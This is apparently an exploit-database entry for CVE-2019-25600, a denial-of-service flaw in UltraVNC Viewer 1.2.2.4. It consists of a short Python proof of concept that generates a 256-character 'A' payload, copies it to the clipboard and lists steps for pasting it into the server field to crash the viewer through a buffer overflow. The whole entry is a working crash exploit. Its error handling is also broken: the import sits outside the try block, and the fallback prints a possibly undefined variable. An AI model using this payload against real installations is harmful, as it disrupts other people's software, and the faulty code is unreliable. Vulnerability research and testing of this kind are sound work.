CVE-2019-25600 UltraVNC Viewer 拒绝服务漏洞

import pyperclip # CVE-2019-25600 Proof of Concept # This script generates a payload to crash UltraVNC Viewer 1.2.2.4 def generate_dos_payload(): # The vulnerability is triggered by a string of 256 repeated characters payload = "A" * 256 return payload if __name__ == "__main__": try: # Generate the malicious string crash_string = generate_dos_payload() print(f"[*] Payload generated: {len(crash_string)} characters") # Copy payload to clipboard for simulation pyperclip.copy(crash_string) print("[*] Payload copied to clipboard.") print("[+] Reproduction steps:") print("1. Open UltraVNC Viewer 1.2.2.4") print("2. Paste the payload into the 'VNC Server' input field") print("3. Click 'Connect' button") print("4. The application should crash due to buffer overflow") except ImportError: print("[-] Error: pyperclip library is missing.") print(f"Payload: {crash_string}")